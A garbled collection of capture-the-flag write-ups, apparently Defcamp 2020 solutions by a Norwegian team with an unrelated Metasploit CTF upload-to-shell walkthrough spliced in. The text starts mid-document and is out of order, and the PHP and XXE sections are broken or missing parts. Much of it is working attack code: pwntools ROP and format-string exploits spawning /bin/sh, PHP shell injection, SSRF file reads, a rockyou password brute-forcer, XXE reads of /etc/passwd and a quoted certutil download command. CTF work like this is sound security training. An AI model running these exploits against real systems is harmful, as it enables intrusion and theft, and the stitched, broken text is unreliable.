`ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", "#!@{try_hard3r}")io.sendlineafter("Message: ", payload) io.interactive() # ctf{9bb6df8e98240b46601db436ad276eaa635a846c9a5afa5b2075907adf39244b}``` Vulnerable function protected with password.The vuln is a buffer overflow. First we trigger the bug to leak the address of puts through the GOT.This enables us to find the base address of libc. We then trigger the bug a second time and ROP into `system("/bin/sh")`. ### darkmagic```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 34.89.250.23 --port 32440 ./darkmagicfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./darkmagic') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '34.89.250.23'port = int(args.PORT or 32440) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x00000000004007FFcontinue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: Canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.recvline() writes = { exe.got["printf"]: exe.plt["system"] }payload = fmtstr_payload(8, writes=writes, write_size="byte")io.sendline(payload)io.sendline("/bin/sh;") io.interactive()# dctf{857ee5051eeccf7cbdfa0ab9986d32f89158429fc12348e15419a969ddcb6bfb}``` Format string vuln. Read + printf called in a loop. We use the first `printf()` call to overwrite `printf@GOT` with `system` (we have `system` in the PLT). The second `printf()` will then execute whatever we send after the format string payload. ## Reverse engineering### secret-reverseThis binary opens up a file `message.txt` and prints out the encoded version of it. Our target is to find some message contents, such that the encoded content becomes `46004746409548141804243297904243125193404843946697460795444349`. I quickly noticed that the output was of variable length, with only 1-2 letters output per input letter. With this, I brute-forced 2 and 2 letters at the time, picking the encoded message that was the closest match with the target. The original message was: `yes_i_am_a_criminal_mastermind_beaware`. Thus the flag becomes: `ctf{9b9972e4d59d0360b5f1b80a5bbd76c05d75df5b636576710a6271c668a10ac5}` Solution script:```pythonfrom subprocess import check_output, CalledProcessErrorfrom string import printable, ascii_lowercasefrom itertools import productfrom hashlib import sha256 ALPHA = ascii_lowercase +"_"TARGET = "46004746409548141804243297904243125193404843946697460795444349" def run(s): with open("message.txt","w") as fd: fd.write(s) try: out = check_output(["./rev_secret_secret.o"]) return out.strip().split(b"Encoded: ")[1].decode() except CalledProcessError: print(f"Input {s} crashed") return "" def score(s1, s2): for i in range(min([len(s1),len(s2)])): if s1[i] != s2[i]: return i return min([len(s1),len(s2)]) known = "yes_i_am_a_criminal_mastermind_beawa"best = 0beststrings = []for comb in product(ALPHA, repeat=2): T = known + ''.join(comb) out = run(T) if out == TARGET: print(f"ctf{{{sha256(T.encode()).hexdigest()}}}") break if (m := score(out, TARGET)) >= best: print(T, m, out) if m > best: beststrings = [T] best = m else: beststrings.append(T) print(best)print(beststrings)``` ### kalf-gameIn this challenge we are given a snake game written in rust. Since this is ahuge binary the first thing we did was to try and find something interestingrelated to the game. By looking at strings in IDA we quickly find these:* `Level finished!`* `is the victory level!`* `ctf{}`* etc. By following the xrefs to these strings we found an interesting function at`0xE53C0`. Even with the decompiler the code looks like crap, but we could seea lot of references to strings that look like part of the flag. At `0xE5A04`there's a check to see if some number is equal to 100000, and if it is the codeproceeds to print some interesting stuff. We assumed that this was the "win" check, and that the code is checking thelevel we are currently on. So we added a breakpoint to check. In gdb we couldverify that this value did in fact match the level. The solution was then tochange the level to 10000 and let the program continue running. The flag is puttogether and printed:`ctf{ddba6614a32456631c125eb1a4327c52686c71d909a92ec05ea5eb510eae81d9}` ### yopass-go```sh$ strings yopass-go/yopass | grep ctf*runtime.structfieldfound bad pointer in Go heap (incorrect use of unsafe or cgo?)runtime: internal error: misuse of lockOSThread/unlockOSThreadruntime.SetFinalizer: pointer not at beginning of allocated blockstrconv: internal error: extFloat.FixedDecimal called with n == 0runtime:greyobject: checkmarks finds unexpected unmarked object obj=ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}runtime: found space for saved base pointer, but no framepointer experiment/home/lucian/Desktop/ctf/yopass-go/yopass.go/home/lucian/Desktop/ctf/yopass-go/yopass.go[]runtime.structfieldruntime.structfieldruntime.structfield*runtime.structfield"[]runtime.structfield$runtime.structfield%runtime.structfield *runtime.structfield``` and there we go: `ctf{0962393ce380c3cf696c6c59a085cde0f7edd1382f2e9090220abdf9a6396c88}` ### stripped-goused [golang_loader_assist.py](https://github.com/strazzere/golang_loader_assist) to recover symbols.main_main performs AES encryption with this passphrase: `thisis32bitlongpassphraseimusing`.and the message is: `g01sn0tf0rsk1d1e`. which means that the flag is ctf{sha256{g01sn0tf0rsk1d1e}} == ctf{a4e394ae892144a54c008a3b480a1b22a6b64dd26c4b0c9eba498330f511b51e} ### modern-loginWe quickly noticed the mp3 file that contained some Python files. We extracted the files by doing the following steps:1. Unzipping the APK and traversing to the `assets/` folder. 2. Running `file` showed us that `private.mp3` was a zipped folder. 3. Unzipping it revealed another `private.mp3` file which was a tar4. Extracting this as well provided us with several files, among them was `main.py`. At first, they just seemed like bundled files and we didn't check them out much. However, we looked at the files in the mobile file system after running the app. There, we found the same files. At this point we looked further into them. The most interesting file was `main.py`. It contained some functions to check the password and to XOR encrypt strings. Part of `main.py`:```S=leno=bytesv=enumerateW=printh=None def n(byt): q=b'viafrancetes' f=S(q) return o(c^q[i%f]for i,c in v(byt)) def d(s): y=n(s.encode()) return y.decode("utf-8")``` Running the `d()` function decrypted the XOR encrypted strings in the file. This revealed that `\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
# SixOfDiamonds - 8200 At first, we can see an apache server running, so let's see what is serving. ![images/3-1.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-1.png) It seems a site for uploading photos. ![images/3-2.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-2.png) Let's upload a photo: ![images/3-3.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-3.png) It's okay, and we can see it on [http://127.0.0.1:8200/images/moose.jpg](http://127.0.0.1:8200/images/moose.jpg) Let's try to upload a php file: ![images/3-4.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-4.png) Not allowed php files. Let's change its name: ![images/3-5.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-5.png) Mmm. Let's now to copy this php file below the head of the image, but first of all, we must to put our IP into it ![images/3-6.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-6.png)And ![images/3-7.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-7.png) Now it worked: ![images/3-8.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-8.png) Now, opening a listener in our machine and opening the [http://127.0.0.1:8200/images/moose.jpg.php](http://127.0.0.1:8200/images/moose.jpg.php) file should works And here we are. ![images/3-9.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-9.png) And, doing a ```find / -name "*.png" 2>/dev/null```we find our flag: ![images/3-10.png](https://raw.githubusercontent.com/NikNitro/CTFs/master/Writeups/2020-Metasploit/images/3-10.png)
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string 